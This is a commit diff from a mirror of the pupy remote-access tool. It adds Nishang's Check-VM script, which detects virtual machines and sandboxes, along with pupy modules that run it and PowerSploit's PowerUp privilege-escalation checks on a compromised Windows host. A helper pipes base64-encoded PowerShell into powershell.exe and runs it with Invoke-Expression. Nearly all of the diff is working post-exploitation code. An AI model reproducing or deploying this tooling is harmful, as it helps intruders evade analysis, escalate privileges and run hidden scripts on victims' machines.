mirror of https://github.com/n1nj4sec/pupy.git
Merge branch 'AlessandroZ-master'
This commit is contained in:
n1nj4sec
commit
1b7485b5af
|
|
@ -0,0 +1,303 @@
|
|||
|
||||
|
||||
function Check-VM
|
||||
{
|
||||
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Nishang script which detects whether it is in a known virtual machine.
|
||||
|
||||
.DESCRIPTION
|
||||
This script uses known parameters or 'fingerprints' of Hyper-V, VMWare, Virtual PC, Virtual Box,
|
||||
Xen and QEMU for detecting the environment.
|
||||
|
||||
.EXAMPLE
|
||||
PS > Check-VM
|
||||
|
||||
.LINK
|
||||
http://www.labofapenetrationtester.com/2013/01/quick-post-check-if-your-payload-is.html
|
||||
https://github.com/samratashok/nishang
|
||||
|
||||
.NOTES
|
||||
The script draws heavily from checkvm.rb post module from msf.
|
||||
https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/checkvm.rb
|
||||
#>
|
||||
[CmdletBinding()] Param()
|
||||
$ErrorActionPreference = "SilentlyContinue"
|
||||
#Hyper-V
|
||||
$hyperv = Get-ChildItem HKLM:\SOFTWARE\Microsoft
|
||||
if (($hyperv -match "Hyper-V") -or ($hyperv -match "VirtualMachine"))
|
||||
{
|
||||
$hypervm = $true
|
||||
}
|
||||
|
||||
if (!$hypervm)
|
||||
{
|
||||
$hyperv = Get-ItemProperty hklm:\HARDWARE\DESCRIPTION\System -Name SystemBiosVersion
|
||||
if ($hyperv -match "vrtual")
|
||||
{
|
||||
$hypervm = $true
|
||||
}
|
||||
}
|
||||
|
||||
if (!$hypervm)
|
||||
{
|
||||
$hyperv = Get-ChildItem HKLM:\HARDWARE\ACPI\FADT
|
||||
if ($hyperv -match "vrtual")
|
||||
{
|
||||
$hypervm = $true
|
||||
}
|
||||
}
|
||||
|
||||
if (!$hypervm)
|
||||
{
|
||||
$hyperv = Get-ChildItem HKLM:\HARDWARE\ACPI\RSDT
|
||||
if ($hyperv -match "vrtual")
|
||||
{
|
||||
$hypervm = $true
|
||||
}
|
||||
}
|
||||
|
||||
if (!$hypervm)
|
||||
{
|
||||
$hyperv = Get-ChildItem HKLM:\SYSTEM\ControlSet001\Services
|
||||
if (($hyperv -match "vmicheartbeat") -or ($hyperv -match "vmicvss") -or ($hyperv -match "vmicshutdown") -or ($hyperv -match "vmiexchange"))
|
||||
{
|
||||
$hypervm = $true
|
||||
}
|
||||
}
|
||||
|
||||
if ($hypervm)
|
||||
{
|
||||
|
||||
"This is a Hyper-V machine."
|
||||
|
||||
}
|
||||
|
||||
#VMWARE
|
||||
|
||||
$vmware = Get-ChildItem HKLM:\SYSTEM\ControlSet001\Services
|
||||
if (($vmware -match "vmdebug") -or ($vmware -match "vmmouse") -or ($vmware -match "VMTools") -or ($vmware -match "VMMEMCTL"))
|
||||
{
|
||||
$vmwarevm = $true
|
||||
}
|
||||
|
||||
if (!$vmwarevm)
|
||||
{
|
||||
$vmware = Get-ItemProperty hklm:\HARDWARE\DESCRIPTION\System\BIOS -Name SystemManufacturer
|
||||
if ($vmware -match "vmware")
|
||||
{
|
||||
$vmwarevm = $true
|
||||
}
|
||||
}
|
||||
|
||||
if (!$vmwarevm)
|
||||
{
|
||||
$vmware = Get-Childitem hklm:\hardware\devicemap\scsi -recurse | gp -Name identifier
|
||||
if ($vmware -match "vmware")
|
||||
{
|
||||
$vmwarevm = $true
|
||||
}
|
||||
}
|
||||
|
||||
if (!$vmwarevm)
|
||||
{
|
||||
$vmware = Get-Process
|
||||
if (($vmware -eq "vmwareuser.exe") -or ($vmware -match "vmwaretray.exe"))
|
||||
{
|
||||
$vmwarevm = $true
|
||||
}
|
||||
}
|
||||
|
||||
if ($vmwarevm)
|
||||
{
|
||||
|
||||
"This is a VMWare machine."
|
||||
|
||||
}
|
||||
|
||||
#Virtual PC
|
||||
|
||||
$vpc = Get-Process
|
||||
if (($vpc -eq "vmusrvc.exe") -or ($vpc -match "vmsrvc.exe"))
|
||||
{
|
||||
$vpcvm = $true
|
||||
}
|
||||
|
||||
if (!$vpcvm)
|
||||
{
|
||||
$vpc = Get-Process
|
||||
if (($vpc -eq "vmwareuser.exe") -or ($vpc -match "vmwaretray.exe"))
|
||||
{
|
||||
$vpcvm = $true
|
||||
}
|
||||
}
|
||||
|
||||
if (!$vpcvm)
|
||||
{
|
||||
$vpc = Get-ChildItem HKLM:\SYSTEM\ControlSet001\Services
|
||||
if (($vpc -match "vpc-s3") -or ($vpc -match "vpcuhub") -or ($vpc -match "msvmmouf"))
|
||||
{
|
||||
$vpcvm = $true
|
||||
}
|
||||
}
|
||||
|
||||
if ($vpcvm)
|
||||
{
|
||||
|
||||
"This is a Virtual PC."
|
||||
|
||||
}
|
||||
|
||||
|
||||
#Virtual Box
|
||||
|
||||
$vb = Get-Process
|
||||
if (($vb -eq "vboxservice.exe") -or ($vb -match "vboxtray.exe"))
|
||||
{
|
||||
|
||||
$vbvm = $true
|
||||
|
||||
}
|
||||
if (!$vbvm)
|
||||
{
|
||||
$vb = Get-ChildItem HKLM:\HARDWARE\ACPI\FADT
|
||||
if ($vb -match "vbox_")
|
||||
{
|
||||
$vbvm = $true
|
||||
}
|
||||
}
|
||||
|
||||
if (!$vbvm)
|
||||
{
|
||||
$vb = Get-ChildItem HKLM:\HARDWARE\ACPI\RSDT
|
||||
if ($vb -match "vbox_")
|
||||
{
|
||||
$vbvm = $true
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if (!$vbvm)
|
||||
{
|
||||
$vb = Get-Childitem hklm:\hardware\devicemap\scsi -recurse | gp -Name identifier
|
||||
if ($vb -match "vbox")
|
||||
{
|
||||
$vbvm = $true
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
if (!$vbvm)
|
||||
{
|
||||
$vb = Get-ItemProperty hklm:\HARDWARE\DESCRIPTION\System -Name SystemBiosVersion
|
||||
if ($vb -match "vbox")
|
||||
{
|
||||
$vbvm = $true
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if (!$vbvm)
|
||||
{
|
||||
$vb = Get-ChildItem HKLM:\SYSTEM\ControlSet001\Services
|
||||
if (($vb -match "VBoxMouse") -or ($vb -match "VBoxGuest") -or ($vb -match "VBoxService") -or ($vb -match "VBoxSF"))
|
||||
{
|
||||
$vbvm = $true
|
||||
}
|
||||
}
|
||||
|
||||
if ($vbvm)
|
||||
{
|
||||
|
||||
"This is a Virtual Box."
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
#Xen
|
||||
|
||||
$xen = Get-Process
|
||||
|
||||
if ($xen -eq "xenservice.exe")
|
||||
{
|
||||
|
||||
$xenvm = $true
|
||||
|
||||
}
|
||||
|
||||
if (!$xenvm)
|
||||
{
|
||||
$xen = Get-ChildItem HKLM:\HARDWARE\ACPI\FADT
|
||||
if ($xen -match "xen")
|
||||
{
|
||||
$xenvm = $true
|
||||
}
|
||||
}
|
||||
|
||||
if (!$xenvm)
|
||||
{
|
||||
$xen = Get-ChildItem HKLM:\HARDWARE\ACPI\DSDT
|
||||
if ($xen -match "xen")
|
||||
{
|
||||
$xenvm = $true
|
||||
}
|
||||
}
|
||||
|
||||
if (!$xenvm)
|
||||
{
|
||||
$xen = Get-ChildItem HKLM:\HARDWARE\ACPI\RSDT
|
||||
if ($xen -match "xen")
|
||||
{
|
||||
$xenvm = $true
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if (!$xenvm)
|
||||
{
|
||||
$xen = Get-ChildItem HKLM:\SYSTEM\ControlSet001\Services
|
||||
if (($xen -match "xenevtchn") -or ($xen -match "xennet") -or ($xen -match "xennet6") -or ($xen -match "xensvc") -or ($xen -match "xenvdb"))
|
||||
{
|
||||
$xenvm = $true
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if ($xenvm)
|
||||
{
|
||||
|
||||
"This is a Xen Machine."
|
||||
|
||||
}
|
||||
|
||||
|
||||
#QEMU
|
||||
|
||||
$qemu = Get-Childitem hklm:\hardware\devicemap\scsi -recurse | gp -Name identifier
|
||||
if ($qemu -match "qemu")
|
||||
{
|
||||
|
||||
$qemuvm = $true
|
||||
|
||||
}
|
||||
|
||||
if (!$qemuvm)
|
||||
{
|
||||
$qemu = Get-ItemProperty hklm:HARDWARE\DESCRIPTION\System\CentralProcessor\0 -Name ProcessorNameString
|
||||
if ($qemu -match "qemu")
|
||||
{
|
||||
$qemuvm = $true
|
||||
}
|
||||
}
|
||||
|
||||
if ($qemuvm)
|
||||
{
|
||||
|
||||
"This is a Qemu machine."
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
File diff suppressed because one or more lines are too long
|
|
@ -0,0 +1,20 @@
|
|||
# -*- coding: UTF8 -*-
|
||||
from pupylib.PupyModule import *
|
||||
import os
|
||||
from modules.lib.windows.powershell_upload import execute_powershell_script
|
||||
|
||||
__class_name__="CheckVM"
|
||||
ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),".."))
|
||||
|
||||
@config(compat="windows", category="gather")
|
||||
class CheckVM(PupyModule):
|
||||
""" check if running on Virtual Machine """
|
||||
|
||||
def init_argparse(self):
|
||||
self.arg_parser = PupyArgumentParser(prog="CheckVM", description=self.__doc__)
|
||||
|
||||
def run(self, args):
|
||||
content = open(os.path.join(ROOT, "external", "Nishang", "Check-VM.ps1"), 'r').read()
|
||||
function = 'Check-VM'
|
||||
output = execute_powershell_script(self, content, function)
|
||||
self.success("%s" % output)
|
||||
|
|
@ -0,0 +1,29 @@
|
|||
from rpyc.utils.classic import upload
|
||||
import base64
|
||||
from subprocess import PIPE, Popen
|
||||
import subprocess
|
||||
|
||||
def execute_powershell_script(module, content, function):
|
||||
fullargs=["powershell.exe", "-C", "-"]
|
||||
|
||||
p = module.client.conn.modules.subprocess.Popen(fullargs, stdout=PIPE, stderr=PIPE, stdin=PIPE, bufsize=0, universal_newlines=True, shell=True)
|
||||
p.stdin.write("$base64=\"\""+"\n")
|
||||
n = 20000
|
||||
line = base64.b64encode(content)
|
||||
tab = [line[i:i+n] for i in range(0, len(line), n)]
|
||||
for t in tab:
|
||||
p.stdin.write("$base64+=\"%s\"\n" % t)
|
||||
p.stdin.flush()
|
||||
|
||||
p.stdin.write("$d=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64))\n")
|
||||
p.stdin.write("Invoke-Expression $d\n")
|
||||
p.stdin.write("$a=Invoke-Expression %s | Format-Table -HideTableHeaders | Out-String\n" % function)
|
||||
p.stdin.write("$b=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(\"$a\"))\n")
|
||||
p.stdin.write("Write-Host $b\n")
|
||||
|
||||
# Get the result
|
||||
output = ""
|
||||
for i in p.stdout.readline():
|
||||
output += i
|
||||
output = base64.b64decode(output)
|
||||
return output
|
||||
|
|
@ -0,0 +1,26 @@
|
|||
# -*- coding: UTF8 -*-
|
||||
from pupylib.PupyModule import *
|
||||
import os
|
||||
from modules.lib.windows.powershell_upload import execute_powershell_script
|
||||
|
||||
__class_name__="PowerUp"
|
||||
ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),".."))
|
||||
|
||||
@config(compat="windows", category="admin")
|
||||
class PowerUp(PupyModule):
|
||||
""" trying common Windows privilege escalation methods"""
|
||||
|
||||
def init_argparse(self):
|
||||
self.arg_parser = PupyArgumentParser(prog="PowerUp", description=self.__doc__)
|
||||
|
||||
def run(self, args):
|
||||
content = open(os.path.join(ROOT, "external", "PowerSploit", "Privesc", "PowerUp.ps1"), 'r').read()
|
||||
|
||||
# launch all PowerUp checks
|
||||
function = 'Invoke-AllChecks'
|
||||
|
||||
output = execute_powershell_script(self, content, function)
|
||||
|
||||
# parse output depending on the PowerUp output
|
||||
output = output.replace('\r\n\r\n\r\n', '\r\n\r\n').replace("\n\n", "\n").replace("\n\n", "\n")
|
||||
self.success("%s" % output)
|
||||
Loading…
Reference in New Issue